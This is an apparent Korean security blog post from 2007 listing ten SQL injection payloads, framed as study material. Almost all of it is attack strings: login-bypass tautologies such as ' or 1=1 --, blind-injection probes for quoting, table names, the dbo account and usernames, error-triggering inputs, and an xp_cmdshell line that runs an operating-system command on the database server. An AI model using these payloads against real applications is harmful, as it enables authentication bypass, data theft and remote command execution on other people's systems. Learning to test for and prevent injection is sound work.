본문으로 바로가기

SQL Injection Code 정리

category Security/Web 2007. 3. 24. 20:52

SQL Injection은 각 DB와 개발 언어에서 사용하는 SQL 언어에 따라 다소 차이가 납니다만,

나름 정리된 자료 올립니다.


그럼, 공부에 참고하시길....


===========================================================================================


1. 일반적인 SQL Injection
    1 OR 1=1
    1' OR '1'='1
    '1 OR '1=1 --
    ' or 1=1 ; --
    ' or 1=1 --
    A' or 'A'='A


2. Blind SQL Injection 시 현재 사용 중인 Encapsulating Quites를 알아 내기 위한 에러 유발
    1'1


3. EXEC를 사용하여 에러를 유발하는 Blind SQL Injection
    1 EXEC SP_(or EXEC XP_)


4. Blind SQL Injection
    1 AND 1=1


5. Table 이름을 찾기 위한 Blind SQL Injection. 일반적으로 아래 tablenames에 추측 가능한
    테이블 이름이나, Brute Force를 수행함.
    1' AND 1=(SELECT COUNT(*) FROM tablenames);


6. 알고 있는 사용자가 administrator로 Running하고 있는지 확인
    1 AND USER_NAME() = 'dbo'


7.  Blind SQL Injection을 위한 에러 유발 코드
     1\'1


8. Blind SQL Injection을 위해 존재하지 않는 테이블을 호출함으로써 에러를 유발
    1' AND non_existant_table = '1


9. username 추출
    ' OR username IS NOT NULL OR username = '


10.  프로그램 실행
     ; exec master..xp_cmdshell 'ifconfig'--


출처 : securityplus



다른 사람들이 많이 읽은 글

댓글을 달아 주세요